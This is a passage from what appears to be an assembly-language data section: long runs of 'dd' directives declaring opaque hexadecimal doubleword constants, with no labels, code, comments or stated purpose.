0A6E00F13h, 9ED50247h, 0ECCF9367h dd 8E94560h, 41F7B713h, 0BA056C00h, 0EC84321Dh, 0D46B0014h dd 869094FFh, 8800456Ch, 0F4F11EC1h, 916760h, 0F718B792h dd 497A7D42h, 0C871D600h, 0D86BAB48h, 50EC0047h, 42097840h dd 5F007090h, 56588FA5h, 0C4DC07h, 51F9437Bh, 0B25CE3E1h dd 0FF2A400h, 0DDD03132h, 8904CDBh, 0F4295F07h, 827F5123h dd 0DCDAED07h, 390030E6h, 0A1DBC2D4h, 375874h, 0DD1559F1h dd 7F77FEEAh, 80A44F00h, 6A39AD1Dh, 821000BEh, 156B0A1Ch dd 31FBAE9h, 0BF84E126h, 5CB080AEh, 8F36007Eh, 24CA91EBh dd 0F73BDBF3h, 0C4A8D482h, 0A5DF9607h, 92AEB868h, 0FDDC3C90h dd 3C8B592Ah, 586DE301h, 0E421F832h, 0D1491633h, 45660920h dd 94540799h, 285E8EE0h, 0D6821C1Eh, 35A4D5h, 1348BF85h dd 0A9009FCCh, 0A2665D79h, 571C19h, 0F1E6D002h, 47946551h dd 0EB1BF1Ch, 0A252D1DEh, 1FCC8100h, 0E95EA5h, 0B0AB5039h dd 32915CFDh, 3FB61B00h, 443E2ED0h, 0A0110EE0h, 1FA0BD61h dd 0C81814D9h, 0C720E718h, 0B511BE8h, 0EDC42D9Fh, 0E4CE7CA1h dd 10F231E9h, 0A61A8BACh, 0E099DF0h, 310AD5Bh, 0F87D3BA7h dd 0ED1E20Fh, 318C75EDh, 0E1086521h, 0C8F021A3h, 0E32AECD6h dd 72F4B87Dh, 0EA01C49Ah, 0B8955F58h, 0D0401980h, 1FCD560Bh dd 7662D7h, 939B1B01h, 0F000806Ah, 0AF7B5113h, 908B8760h dd 3F330014h, 93CFFEB8h, 74005266h, 14B207F0h, 761E984Dh dd 387BAFh, 613DE50Bh, 43D2FFB1h, 0AB005376h, 1DBEF1DCh dd 4249206h, 4F1E3756h, 5170235h, 571360BDh, 5AD50384h dd 230D06F4h, 0C0289AA0h, 14528E18h, 25190C9h, 3B820ACh dd 0ADC0B61Eh, 509E8576h, 93CCA681h, 8AC4F817h, 0C2C70FFAh dd 2F8082A8h, 4D92974Fh, 0C8FB3724h, 96A803Eh, 0C694A757h dd 0B2320042h, 0E17C26B7h, 1C0089B9h, 289E18F8h, 0D8CE1Ah dd 80C07734h, 0CD7A27AEh, 66F8F00h, 1EA3486Dh, 0CB402BDh dd 344426DEh, 6E09DCD8h, 83D10902h, 805E9B11h, 93BFB7h dd 2EE05988h, 8ADE4B3Ah, 0CAF06700h, 766DEA41h, 211E0FA0h dd 0C6E090ADh, 0BF58A934h, 0E4412418h, 1CB909B8h, 0C3AF51C8h dd 2EFCE9A3h, 1BA8A6F8h, 6CB26A1Fh, 0BBA0D284h, 21C2A8C4h dd 7F48404Ah, 179D2C84h, 1338037Ch, 7CEA9F72h, 0EA8C175h dd 721F874h, 4AA1260h, 2255E0CFh, 290E1CCCh, 0A00A87E4h dd 8809FD03h, 7B0E0749h, 3245C5AEh, 0D080153Fh, 0E7726269h dd 6D48D200h, 0C7E34910h, 1E8011Ah, 0C6D43A3Ch, 0FEB0DF38h dd 0CC1C3335h, 3F7A9648h, 0BAE18E5Bh, 7AFB212Ah, 10854237h dd 0F23878h, 0EFFF41CBh, 0E6005FECh, 0DAB01FD6h, 0DDEDC5h dd 80BF8374h, 6FEB9FA7h, 3104902h, 8464753Ah, 0CA0DBFCh dd 7C11C0C9h, 84D28F43h, 4201189Eh, 0BF6198DCh, 0E4775960h dd 94455936h, 89EE9A00h, 1F070370h, 0F9B73428h, 98066A00h dd 0AC0F23C8h, 102000C9h, 0B6E9DEA3h, 20F79434h, 75002FC0h dd 96381C03h, 0AE075Fh, 926D07Eh, 0EBBE2B9Dh, 0E7184F00h dd 0B98B8117h, 0E1F90A66h, 0F4E0F3h, 8243EF40h, 0D3F414C3h dd 6B595300h, 1CF9E3A1h, 9CEB0099h, 54AADA32h, 0CD001DD4h dd 52BE0B7Bh, 0DB5504h, 1159D8A8h, 0A2B5A6E1h, 1CBBC800h dd 7B7862DFh, 0CDE200E9h, 183DA397h, 0C73B3EBCh, 0D8EB8276h dd 7066136Bh, 990E00D8h, 256DDE4Fh, 0C9077F23h, 291F05DFh dd 8ABEEFE0h, 5DCD0713h, 70F90326h, 2A5AEE94h, 0CA8DF028h dd 102F4F00h, 0DDC1B56Bh, 7B4113A4h, 0C6D8013Eh, 7DE11E02h dd 4ECCCEB4h, 6A84E2B8h, 0B1809847h, 0E8CA0E5h, 88C1002Dh dd 2863C71Fh, 120CADBFh, 20EEE889h, 0BBE17C3h, 0F4A040F7h dd 6E12DFACh, 0ED7ABA00h, 63C5E51Eh, 0D4DB2465h, 97498700h dd 4098F63Ch, 0B211B305h, 0C4E003BFh, 0CF1902C2h, 0CA3D134Bh dd 0AD0F7058h, 0FB9781h, 0EDA61D1Bh, 65372426h, 0CB8A4134h dd 88FD1041h, 0FFF89Eh, 40B6B109h, 22D98EB8h, 5C1DF370h dd 2E47DD63h, 0EB20B7C2h, 0E61FC7BEh, 696500FDh, 77983BA1h dd 1624EA8Bh, 3A00608Dh, 48994E0Ah, 0E56E00EBh, 1DCA78AEh dd 7C04A6AAh, 0C452CCB8h, 0D3CE84C0h, 0E55401D9h, 0BD4C3B78h dd 7E0205Ah, 3D9E7A00h, 90F4570Ah, 2FBB7528h, 8C9088FBh dd 7F013146h, 3ED4DFBEh, 0D464839Ch, 3FB205BBh, 90CC678Fh dd 4804A05Ch, 1F849300h, 0BA6A47AFh, 3C90030Ch, 7F4DB9AEh dd 0DFD81990h, 8D6EEF0Eh, 2DD24130h, 0D034D190h, 763740A7h dd 67EC0E7h, 92EC9603h, 0A085D062h, 0BBDE75Fh, 390F8A5h dd 0AE0290ECh, 35E682D0h, 2098809Ch, 18B05A8Fh, 58970C93h dd 0AC12C0FAh, 3C016016h, 26674962h, 5CB27C20h, 0EC9D303Bh dd 88E80448h, 954B815h, 818277A8h, 3A7B2184h, 0E20ED86Ch dd 0AD038B55h, 9BC08DE1h, 98005936h, 0FB29111Bh, 0A673BBh dd 0B143CCFAh, 593399FEh, 1CD56A00h, 3D03BDF6h, 0A3630215h dd 465DCA7Ah, 722742C0h, 6459ED0Fh, 8A67C170h, 0D5ECCF11h dd 0CB2E000Fh, 76A6F42Dh, 599842B8h, 1E687900h, 21EA4769h dd 9D820BB0h, 0D820C9A4h, 3AB9FAABh, 0F097D0Bh, 8481867h dd 546C00D0h, 4A36E514h, 2900DE15h, 34DB184Dh, 0E0135Ch dd 0F4215B3Bh, 0F7285F07h, 0DED53800h, 513422A5h, 8D60C136h dd 38AFB40Ch, 579C002Ch, 0B19F4214h, 3C550509h, 386BC6Dh dd 31753410h, 8B23903h, 2BA5E98Fh, 82CDF08h, 2E402ABCh dd 605F11C3h, 2256083Ch, 2033B8BBh, 0E0D190AEh, 5E0875h dd 6726127Fh, 5536532Ah, 0BB477B00h, 2DFCA548h, 918F0007h dd 956D4A75h, 0B30372BCh, 5639061Ch, 7B380518h, 1F85214h dd 364F2A3Ch, 0D01DE342h, 538BF4Eh, 710DC844h, 463DE4D0h dd 0B29018E8h, 3645D060h, 6A7FCB07h, 0DD40BE28h, 0F435613Ch dd 0A4B7009Bh, 78C03795h, 0E800C632h, 41725D87h, 4B39FEh dd 734DEA15h, 9B19A8C4h dd 2BBCB40Fh, 0F2F80043h, 10BCE33h, 0C2B50841h, 0DD304039h dd 0F38440C8h, 0D3525632h, 16AD00FCh, 0E140286h, 0AAF0E67h dd 0A18C19F6h, 86F8D021h, 80B0B938h, 32714709h, 0FC3044h dd 0EFAE2757h, 4E339CB4h, 909DB110h, 0F05B607Ah, 0DBB634BDh dd 11EE6501h, 8FCF66B5h, 0E78D5980h, 3E7704FDh, 541D11C0h dd 0E1A5E5EAh, 38BCC041h, 21490898h, 0EA0056FCh, 1CB0D935h dd 7DA937Bh, 0A86BF3A1h, 0C251207Ch, 0C019B24Bh, 5288B099h dd 60D520C8h, 5C177816h, 8B010A4Dh, 0C08C4BFCh, 28819B5Dh dd 5ADAABADh, 1BD451C6h, 4475200Ch, 31B37703h, 0A3B16F7Ch dd 3C21001Fh, 6CBC4A04h, 0F90E250Dh, 0E002CB67h, 32F507B5h dd 0CC3814FAh, 1800903Bh, 0B4DF2E72h, 49EEF3C2h, 602FE40Eh dd 68AFE001h, 3A6EE1h, 4E2163D1h, 9879399Fh, 841AF61Fh dd 0EC8156DEh, 250C4ACh, 3164E0h, 0F42FC947h, 8B0C0753h dd 7577FF00h, 3B1ACCC6h, 0CF983E48h, 85FEAC80h, 1B9C5870h dd 792A4A00h, 0DD158D0Fh, 0CEBB3FADh, 0EC235E00h, 331B6CB0h dd 0C35641Fh, 8E7DC3C0h, 0D4C4DFh, 50DC12F1h, 0B14B662Ch dd 0EE592300h, 11ED419Eh, 0D192006Eh, 0DA9ACC42h, 0DF0EC68Bh dd 0A0C0D910h, 11303B23h, 3DB20097h, 5D52CFADh, 0D014D4Eh dd 2976D102h, 61F2A9BCh, 0ACF05643h, 2D8C1DBEh, 322497h dd 9A73176Ah, 160CC90Ch, 8F91548h, 20BD607Fh, 8773C0D4h dd 58A54612h, 0AE70AB00h, 303A4B3Eh, 0EE606F91h, 0BE00F5ABh dd 0E6B845D4h, 0F08A4433h, 569E0012h, 69B6A913h, 8666B1B9h dd 213908h, 665697F0h, 0FBA74A9h, 7E2ACF18h, 0DB8579h dd 15CBE7C7h, 720388AFh, 8B61D900h, 7C0E3142h, 0C9BFE2Bh dd 68993A4Ah, 59C73288h, 11FD0D2h, 858B2814h, 18814CF5h dd 0C0F07B32h, 5F1F0034h, 0D3CD29F7h, 8083118Ch, 0CA37308h dd 7B448C11h, 73C100D7h, 0FCA1C9E5h, 80630E54h, 0F28E781h dd 0C0B32489h, 1CA66703h, 39B63A0Fh, 12B88005h, 0D075D10Ah dd 0C4239CB8h, 17569A01h, 0C41896A9h, 0FC4540h, 8E6C5693h dd 36B2C52Fh, 5FC083F9h, 0F8435D7h, 4B7D0FD0h, 5050ADA7h dd 0D4EB04BAh, 9B00E0E2h, 0E643C062h, 0C33A44h, 23417DE7h dd 0B7A34D50h, 60207B25h, 7EBA8FC6h, 0D71100E9h, 2AFC495Fh dd 99028861h, 0EACE95ECh, 87BC6005h, 0C6BC0028h, 0F14FAF3Eh dd 5400C207h, 0A5570493h, 5B0CC9Ah, 0BACF270Ch, 240480B4h dd 0CE00369Fh, 1B59BF97h, 0FBF33Eh, 274FBB48h, 8D2362F0h dd 0E4BC5013h, 543E8E00h, 409545h, 5518D393h, 0CA0C1281h dd 8C587E02h, 402C96B8h, 7F372791h, 72BB003Dh, 6CC84C89h dd 0B538ACFBh, 0D26B83CFh, 0E04271F3h, 0F8B705A7h, 1AA40EA0h dd 0D18792F5h, 8DC5A0DCh, 0C03CCE79h, 58089FF4h, 2170B0FEh dd 48C2D52h, 6D47EABh, 0FBE280B6h, 6E388E50h, 87C19EB5h dd 71F13C80h, 0FE120A2Ah, 9EEEE7h, 97DD29B4h, 2E83D316h dd 0F509D6Fh, 3B962004h, 18312CF3h, 8171B91h, 20C0D306h dd 4996245Fh, 6CCE0038h, 0D42B9A4Fh, 0CD0077CBh, 59D99EF0h dd 0C628B01h, 7E1E538Eh, 0B1CE96D8h, 70218AA1h, 848DCC40h dd 86587BCFh, 7574E44h, 0F4AA8C34h, 0DFCE50F1h, 0D3304869h dd 63C92097h, 78D06373h, 7BD88499h, 0D806CEB8h, 2D2BEF26h dd 0DD2506F8h, 0C0CA9C05h, 7B00A47Ah, 61423AC8h, 655098B1h dd 1D30811h, 830FA488h, 0D216F8C9h, 0E391A000h, 0BBE7CE42h dd 1028A32Eh, 4B0B60h, 88219D44h, 3A45736Fh, 9C0FB251h dd 2F20D315h, 0D9EF6070h, 0D63C8398h, 0D121818Ch, 0FAB512C5h dd 7659FCh, 9431D808h, 0C7399C6Fh, 25F06700h, 2DE13A1Ah dd 0B91D0065h, 0A23F9DB3h, 660027AAh, 8118E8DEh, 3033B1h dd 0ADC3620Ch, 370FFC40h, 2C0075ECh, 0C246A07Fh, 0B2BB3Eh dd 16CA10A8h, 0C4506804h, 1F00547Bh, 0F1780AFBh, 31B44h dd 352BDC30h, 57E2D47Bh, 0BE8DBF00h, 0D2EB801Fh, 3C3E0047h dd 0A204DD9Ch, 7B0093F2h, 5B92128Ch, 391172F9h, 0FFC3BC4h dd 704610AEh, 73F5807Eh, 0DD3C42E4h, 0C9948C03h, 18DC8777h dd 20109108h, 3C0041C7h, 0EF46B2Fh, 4458E1h, 7068154Eh dd 52FD5784h, 0D517200h, 800AF0FBh, 18F460E1h, 2CC3F5B3h dd 4481A60h, 33DADBFh, 9CA9485Dh, 9309AF8h, 45DF21B9h dd 144E003Dh, 8F9953A3h, 1FF8766Ah, 8688F51Ah, 80828F91h dd 0F0FDE013h, 18A660B3h, 3D4AE5EDh, 93317F60h, 3AE5A5Fh dd 0E9BCC10Bh, 830B9F2h, 0D7B2219Eh, 33551C5Bh, 7D670701h dd 79062F87h, 3B20603Fh, 31736FE7h, 0E008092Dh, 3C007B77h dd 1D0BADA9h, 98D72452h, 0C0F8003Dh, 95D12F56h, 6B1479AAh dd 0D848244h, 49847180h, 0CF1001EDh, 0BA002C6Ch, 0D4277856h dd 3874E0E7h, 2582527Dh, 0E5718B7Bh, 8411A49Fh, 0D5256080h dd 0DA001EC7h, 9D81BE13h, 118A59Ah, 1578BBD6h, 808EB60Ch dd 2638A410h, 573C6Bh, 0F146014Eh, 8EA8D5BFh, 0ACEE8200h dd 56535D7Eh, 0C8511DD2h, 75BC028h, 1B9BAAD0h, 81F6B100h dd 7821C49Fh, 59AD008Eh, 82CF9E3Fh, 3F2FF2Ch, 0D9CED700h dd 26DBCA4Ch, 0E8D60987h, 0DE00F612h, 46761C24h, 91055501h dd 0A67FD4A5h, 0F88A120h, 0BE5D14DBh, 20B31BA7h, 4BF04422h dd 5F47BCA0h, 0E950800h, 8FAE2389h, 10DE1BB9h, 7EA01125h dd 0A083712Dh, 2FEAF504h, 3758BACEh, 0B4629700h, 0AD53214h dd 881C0BAEh, 0F180E56Eh, 0C347BC3Fh, 184D9E1Eh, 0B8FD01B8h dd 0A51F4203h, 3ADB1DF4h, 5802C3Eh, 95AB545Eh, 59901E43h dd 77009C7Fh, 4A129802h, 3BFFBB4h, 41A4B026h, 2BA0DA27h dd 83309306h, 0C1941148h, 1801006Ah, 26AB19E3h, 0E203915Eh dd 9B8AA072h, 2C2900B0h, 7651A90Bh, 0C57DE3EEh, 0EA07E97Ch dd 6BDDA846h, 8A8D1761h, 2E78C0h, 35360EAFh, 0C381455h dd 0CB263100h, 0F74DE06Fh, 0EDD10027h, 0E93583B9h, 0F204796Dh dd 959E1BABh, 0F9BCE680h, 0B32900FFh, 0E2219BF8h, 2660CC2Bh dd 0F4866588h, 763900ADh, 73534FCFh, 0F500A3DDh, 4EDFE536h dd 0A098152h, 0CCF23454h, 0B73380C8h, 2267B2F4h, 4DA28200h dd 52C37269h, 5D1E8E3h, 0B53981F3h, 58DBC092h, 5F000B95h dd 2F4B5361h, 7D314Ah, 0AEA4C5A2h, 84B2183Bh, 4FCD1A05h dd 0F8439B71h, 988FE22Dh, 16320C7h, 19A4DFE4h, 0D868ED92h dd 8133E348h, 0B823708Fh, 0F6140Dh, 0F97A5243h, 0BE950742h dd 942FC838h, 0A7F5A1h, 0CE87DA21h, 0E82129Ah, 4658FF5Fh dd 7B7A4820h, 0D7026929h, 76036BFCh, 7F47C89h, 10531598h dd 186E1002h, 8CA4403h, 0A0E7A565h, 1E386DCh, 0FC2CAF12h dd 0CCB9CBBBh, 0AD00F5C1h, 89E8A597h, 0C08E2352h, 211171A8h dd 9A002E35h, 42CA3F0Fh, 2ED36556h, 29A6B6h, 306DD55Ch dd 6E14C56Ah, 2AB8AFB1h, 92003C02h, 0ED3E98CBh, 32D753h dd 2EF012C1h, 0D9207409h, 0A73B51Eh, 29AF3840h, 586EB219h dd 0E30313A1h, 443A6104h, 0E00BC8Bh, 5E344ABFh, 931FD0h dd 64476AD5h, 31782826h, 1956860Bh, 846D8258h, 0B8DDC0C7h dd 269A072Bh, 93BC2789h, 5B908277h, 7572C8CEh, 0D001B707h dd 0BC433043h, 71F8C6EBh, 9CF60229h, 0D1AE68FDh, 6500F0A9h dd 0BAA5D8CCh, 6478C8E9h, 4CE63824h, 0C4252281h, 11828598h dd 5BE4C86Fh, 95CE6DE0h, 0B8802000h, 0F95573E9h, 352F00A0h dd 760CEB2Dh, 440026A4h dd 0BF378BC6h, 3C142913h, 12BFD686h, 8D50D431h, 0F194605Eh dd 4FCC8E06h, 7998F7Eh, 0ECCFED4Eh, 0BB193097h, 100930E7h dd 80D8D6h, 9C8B9EB0h, 0E492A9h, 9AE00E23h, 0D16C09ADh dd 4D12AA03h, 3E1CE27Ch, 1400A231h, 4A4519B5h, 1B0033CDh dd 0B89088EFh, 0CC8B10h, 0A7EC6148h, 3786B905h, 80A1C40Fh dd 9CEA002Ch, 0EDE5EAEh, 7D7163BDh, 752406DFh, 0CB0120CDh dd 45DD9450h, 5CD46D1Dh, 3370335h, 318A3B11h, 8EE12BE8h dd 6AADA407h, 8CD0A589h, 1D27F28h, 9B1A600Dh, 0C5BC8A07h dd 0FA882078h, 2B90DE00h, 0C70AA95Ah, 0ED0E245Dh, 0F9778044h dd 8C0CFAE3h, 0ABC9F128h, 88846C54h, 3807AD07h, 3092F329h dd 7A314005h, 0BBBC074Ch, 0A02F7FE9h, 0A80734F9h, 78008173h dd 1C48D7F6h, 4029B8h, 24466975h, 91655088h, 8AF3D00Bh dd 0C39D002Ch, 4A8617h, 0D75BFCC8h, 7501533Ch, 2B4F9624h dd 0EE33DA01h, 5FF48EC9h, 0ADC80041h, 0E382490Ah, 0A8012BDFh dd 0BD8FB4F5h, 88F8F695h, 7EFC1322h, 0B98C40F8h, 0E798C1CEh dd 4CD8F24h, 3480149Fh, 698E89ABh, 5D2B02D8h, 0A3DF1C61h dd 0FFF23C60h, 58339400h, 18FDBCB4h, 4A7FAFh, 739AD403h dd 0C4D643AEh, 3EE28200h, 48C0AD69h, 40B0E8h, 618FB84Ch dd 76943489h, 7B161700h, 27531F41h, 59660A63h, 88BCA05Dh dd 2F85FAB6h, 0E81C2E0Ah, 0AB3CBE40h, 0C7F1DBh, 70173790h dd 92C26443h, 82D16307h, 2D506CB8h, 60DDEB05h, 0AB3E19BAh dd 6F906D69h, 46A3C518h, 0EA62B550h, 0A2BB0047h, 59E9FDC3h dd 1E004284h, 669A686Ch, 0E22488A9h, 99910011h, 0DE519B9Fh dd 8958E1BBh, 0AE1500E5h, 0B44970F1h, 31380EDFh, 0F80034EDh dd 0B76EA40Dh, 25202301h, 12782BAFh, 0F1CFF8D7h, 0C53F00DCh dd 68148C98h, 0A9E08E1Bh, 5D03D03h, 88DA247Eh, 79DB07h dd 0FF6676DDh, 71D982F8h, 891F9600h, 41541DC9h, 3B37397Dh dd 0A311A203h, 0D0DF8E99h, 16BFF328h, 0EA766F00h, 39134F40h dd 0A0A8008Fh, 45AEDCB3h, 3F001705h, 30826D7Dh, 13EDA92Ch dd 0BC1078C1h, 729B1EABh, 9AF7640h, 9AD6B58Eh, 774E00BCh dd 9934301Ch, 0A008DBEh, 25CA665Dh, 1C3AC1A9h, 43B587E2h dd 77EE680Fh, 742C63C9h, 1B00C368h, 0CBBF62E6h, 0BE1817h dd 926B0BECh, 0A0CE91E2h, 14900400h, 12E4FB8Dh, 0D9FA0094h dd 0E6DD8B17h, 18B869F0h, 0EEA4C40Eh, 24B6A0D5h, 49662D43h dd 60B6083h, 0D820724Bh, 0CFA521F7h, 0A2F9F61Ch, 8218735Dh dd 40960129h, 3B7CAA62h, 4F18B674h, 821851Ah, 45FB849h dd 8E6A1783h, 0A0578793h, 9469DC26h, 2D289B7Ch, 0B5003C59h dd 9F903BCh, 31AD7275h, 1E185EA6h, 72B07E3Ch, 0C9BB002Bh dd 0C0F6B8A2h, 54A06907h, 24A0602Dh, 540EED04h, 82E76AB1h dd 807407DEh, 33E39514h, 34F0019h, 7D4EB8D8h, 0DB0F8BB7h dd 87768820h, 0B5003DC5h, 11749DDh, 0E4FDA9A7h, 0E887CB29h dd 0D6008225h, 9F1ECFDCh, 8AF660h, 0D0967E20h, 0FBE0C614h dd 0CDDD2E28h, 0A7CB9E00h, 0A50B1089h, 0E7B00EAh, 1B8ED8E7h dd 5700422Ah, 0FFD6EB52h, 0C903C0h, 0D8989E40h, 1EB25C19h dd 0E8751600h, 0D37DE2AAh, 1EECFCAFh, 4009EE4Dh, 0E6C0D30h dd 3B0F80ABh, 80A9EDADh, 21974C53h, 18DB78F7h, 56CB1F51h dd 0C7F839D7h, 8A72DD00h, 89C8D95Ah, 0EDA707B1h, 61CD33B5h dd 472D7FB9h, 3D6CD1A0h, 0D953F46Fh, 0A0C6A201h, 351A086Bh dd 4CF22183h, 0B4F0D1D8h, 0BCA0CAA7h, 0C0A887ADh, 66077120h dd 0CD381945h, 12FB9520h, 5427CA6h, 0B49DDFC8h, 0B8C84075h dd 786E0627h, 0FA9FCE00h, 3C2E132Fh, 7F603CCh, 0E57F911Eh dd 8DA130E8h, 730661C7h, 5CC851A0h, 8767002Dh, 6D0B096Bh dd 2C0F03AAh, 40556906h, 7831D9F2h, 97A21D70h, 68B440B5h dd 2D451408h, 7DB6501h, 308120F3h, 0FD3BD980h, 1FE37BCAh dd 666FBE00h, 27A1704Eh, 0ED430C0Eh, 18369FBDh, 6C06A200h dd 1E9A3F20h, 384F0021h, 1D9D609Ch, 800A8F3Dh, 48EAD28h dd 0F40358h, 0A05A30A2h, 0BD3331DAh, 96CE2500h, 0F8189B80h dd 0E45B74F3h, 61282687h, 0C3651F5Eh, 0B1335C4Eh, 34974816h dd 940005ACh, 0B218D3E5h, 0F9008777h, 95FC5001h, 0C08DAD8Ch dd 119C8E20h, 5D53C87Dh, 0BCD98420h, 9065BA60h, 99CC5600h dd 0D134910Dh, 0E8233C96h, 9325DE00h, 0C1EC8E9Ch, 0FB8C500Ch dd 792859F0h, 4DCB000Dh, 34A05298h, 0A174B82Ah, 0F08C2954h dd 0D0CCC800h, 3D3257F1h, 0B7EF5h, 0EA0F3F2Ah, 0D7F862F3h dd 1C3C2824h, 6A009C22h, 602AB3BAh, 0A8A30CBDh, 6FF4A4h dd 0A213D986h, 4AFB3DF9h, 938631DFh, 1FA0B4C0h, 603CF99h dd 218B7764h, 6E59A01Fh, 110C07C0h, 0CC74347Bh, 47215208h dd 0DF6E510Ch, 146C1h, 9B096EBh, 580B37B9h, 6AC6871Ch dd 1C97143Ch, 908500D4h, 1BF825F4h, 54650002h, 57D196CFh dd 0FB155FF0h, 18017F7h, 0A26BE7A0h, 0C140BB95h, 32CE1AEh dd 954BFADh, 5015F933h, 0B8AC5301h, 0AD5E0719h, 8082EF3Ch dd 3B32DD84h, 9C09D17Bh, 202B061Fh, 5699AE44h, 2A170004h dd 3FF7ACA8h, 1F81D73h, 5A3034Ch, 2FFD02F8h, 0DBEFFC01h dd 0A840A6EBh, 0F22358Ch, 0E73E72ABh, 61159301h, 0EFF0895Dh dd 370804F8h, 59CDEC60h, 0AAF29810h, 0D48025C8h, 0C67BCCA4h dd 785803B6h, 365D0D98h, 0AB107875h, 93098650h, 94279D2Dh dd 0A3FCC3CAh, 0C5811800h, 0F69833F4h, 0B56A002Bh, 2A2808EBh dd 515CAB78h, 1B3A0173h, 4FAD04ACh, 0AF5FA886h, 3C158113h dd 0FC8A15h, 0FD97C05Ah, 3EB5D8D9h, 6F246696h, 6E5AC01Ch dd 0A42107DDh, 76910Fh, 0C86E524Ah, 1522DE1Eh, 0E8E3F10Eh dd 1FA0C73h, 9311F709h, 909A3400h, 0DDEE9421h, 0BD4430BBh dd 86153DD0h, 0A32351C2h, 4B6448D4h, 2F093817h, 9C9740E3h dd 0E040DFBAh, 9E0A5EE0h, 10BA8EAAh, 0CE580E39h, 0FA522165h dd 0A8431523h, 0C75904B5h, 0AA054ABh, 0B286D4AAh, 0B0208F11h dd 3A2000E6h, 76C913CFh, 0A83C8E5Dh, 0D5017FEEh, 7BBEE174h dd 318F7AB5h, 678009AEh, 0AF543816h, 8400137h, 0BD219Ch dd 5E4BD5FAh, 2C3E9AAh, 1A27091Bh, 9496A9A8h, 0B0A3E824h dd 5A9D3E4Ah, 996F5B4Ch, 63F3FB81h, 0C18A4B0h, 0D002C5BBh dd 6E4D3080h, 6C055011h, 4B8A7588h, 0EE00E065h, 0ABC21888h dd 15980960h, 70AF2905h, 8C80543Fh, 252DB109h, 8816C2Fh dd 8A5E9D3Ch, 9CC29849h, 471FCE80h, 230642Dh, 0E1BEDC36h dd 0C060C0FCh, 5F883ADDh, 7BDF28ABh, 0AF20C88h, 98702B69h dd 0C83E49h, 4A140ED3h, 0F790D2h, 1F8F376Ah, 25548516h dd 52810C99h, 35FBE598h, 39184080h, 0AFCCE2DAh, 0E09B1F0Eh dd 2E369EFh, 48BA7D8h, 0AB7C8CADh, 976A9FF8h, 0DCCA7418h dd 0C682A000h, 5C5038h, 13D6664h, 311A099Dh, 14681C3Ch dd 0E9813D7h, 439EAB7Ah, 15EDC8h, 388148C1h, 9B7F9712h dd 8AAF8C37h, 94402C45h, 0DD387956h, 47C6397Eh, 48774280h dd 85A4BD89h, 14038A40h, 0F4AEFF59h, 4112304Ch, 0BE7042A6h dd 3846B365h, 69D51304h, 59620816h, 0D5FCBB20h, 0CE9D017Fh dd 98B4FFAEh, 6EA98110h, 0A863EF1Fh, 0C66DBC8h, 3C19C4BDh dd 0DF01EC68h, 0DD51C2BEh, 89C13A88h, 7980F855h, 0B04DF18Ah dd 19DF07DCh, 0AFE64A34h, 0DCEAA100h, 65006A70h, 4B9642F8h dd 3D11346Dh, 480286CCh dd 3FE35A8Dh, 0DF0E08Ch, 508F8540h, 4351A4E5h, 386802ECh dd 31579735h, 906F130Dh, 2C02F38h, 0BCB02D4h, 0F881FA18h dd 60EB78A3h, 914C1578h, 0AD9603FAh, 0C657043h, 680FB118h dd 0DCACCB70h, 13386604h, 20626797h, 387E5520h, 43963A1Ch dd 0FEBEA587h, 21B81FF9h, 50F91409h, 811251BCh, 0A09BD518h dd 0F804EE10h, 1D0937Ah, 6A66E67h, 8839185Ch, 70727F75h dd 0B5046D09h, 4400A088h, 16F6C1Fh, 0D5F95221h, 0E07A103Dh dd 4E029ABCh, 0B430CA94h, 9218689Dh, 58135DFDh, 0BC43624h dd 898A2576h, 27B406C4h, 77002886h, 161CCDE3h, 5830F9F8h dd 0F6BD5C53h, 530D30h, 4C76995Bh, 1A1BD67Ch, 5459022Ch dd 24C1C780h, 379467E1h, 0F0D183B8h, 0B73EB381h, 0F4118405h dd 9C02A7D9h, 0C0A4147Bh, 0E8523A0h, 0B78EFD99h, 97609623h dd 2487A9E9h, 93242194h, 8F0028F2h, 1759D798h, 3ABB302Eh dd 72240921h, 0F8876229h, 0B5180DD1h, 56E175Ch, 0B35F4B54h dd 8EAE9881h, 0A2BD0410h, 6EB47507h, 5F22D297h, 42A8C641h dd 4E37030Eh, 74AC552Eh, 574840C0h, 502A8700h, 0B88830FDh dd 4820921Eh, 0FC00E11Fh, 80A78121h, 0FB002C7Fh, 312A3216h dd 47554Ah, 19F73F34h, 0C50A1A28h, 0F2B40E50h, 0CF058CE0h dd 6034BDABh, 0A469F846h, 0B3A90089h, 116A804Bh, 6B0072DAh dd 0D9BAB924h, 1C09B52Bh, 3A190105h, 9C73F094h, 9D8CE062h dd 0AC930D20h, 0FFA49013h, 43668060h, 0D53602B3h, 31F01680h dd 0B8F8528Dh, 0C286C07Fh, 96170A15h, 84AA29h, 0C8D96FF4h dd 0F72ACD4Dh, 0E100B09Ch, 44D2A2A3h, 25932290h, 0B41DA194h dd 3A802491h, 9AB6470h, 20582D51h, 9F4113B4h, 9C32B3F1h dd 250F1F09h, 44F70423h, 8B5B492Eh, 0C001E30Ah, 1CF8B900h dd 0CD025AEh, 3EF7F085h, 36002E29h, 9BF52D71h, 612B10h dd 898B1353h, 0F7AD94E7h, 9695501h, 0F0AC8292h, 7C001822h dd 0DAA85237h, 0F6003994h, 0ADD6060Ch, 2F0C258h, 2D04AA4Eh dd 0C8E9CF62h, 44E187Bh, 405516Eh, 203B3211h, 426E66AEh dd 8304F6F8h, 3E37F109h, 5A1D7003h, 173DCC88h, 57318C6Bh dd 0A6DA1A01h, 6FD9D4F2h, 0BF0F6400h, 10746A9h, 0AA1B28B9h dd 4CA8779Ch, 0E710BC98h, 0D1AD0745h, 89B5BB25h, 9082D80Bh dd 0C03F6960h, 92359E61h, 9DE8021Eh, 9472DB00h, 51BD3677h dd 51C2C61h, 98784054h, 4B608D2Dh, 6D3D36F8h, 630B1A1Ch dd 0EC8420ABh, 385560A4h, 0ACC690CEh, 211160ECh, 86386F02h dd 8D547F03h, 0B4425Fh, 7A0F3FA1h, 0E556FDECh, 2649h, 55EA34C4h dd 0B6F21Ah, 11726BC9h, 0A0D14538h, 85C6E43Bh, 8BDB81EDh dd 0FDAB3090h, 0A34BA4Bh, 5E44BBA3h, 98E49E8Ch, 94FE1858h dd 2524EFEh, 3130F2E4h, 0C4C620CCh, 484154Dh, 401FF3FBh dd 965E2800h, 244E430Bh, 0EAAA4C00h, 0E0807877h, 0FC402EF4h dd 810A6C0h, 0D9010A83h, 0E66162A3h, 74AA897h, 0C6332E70h dd 80052017h, 0FB5F22A4h, 46C3203Ch, 1E751C77h, 1D51EA82h dd 0D145209h, 8669C45Dh, 0D9BED3B8h, 0D1826700h, 0D4E154A9h dd 9C7900C1h, 19B2CDE7h, 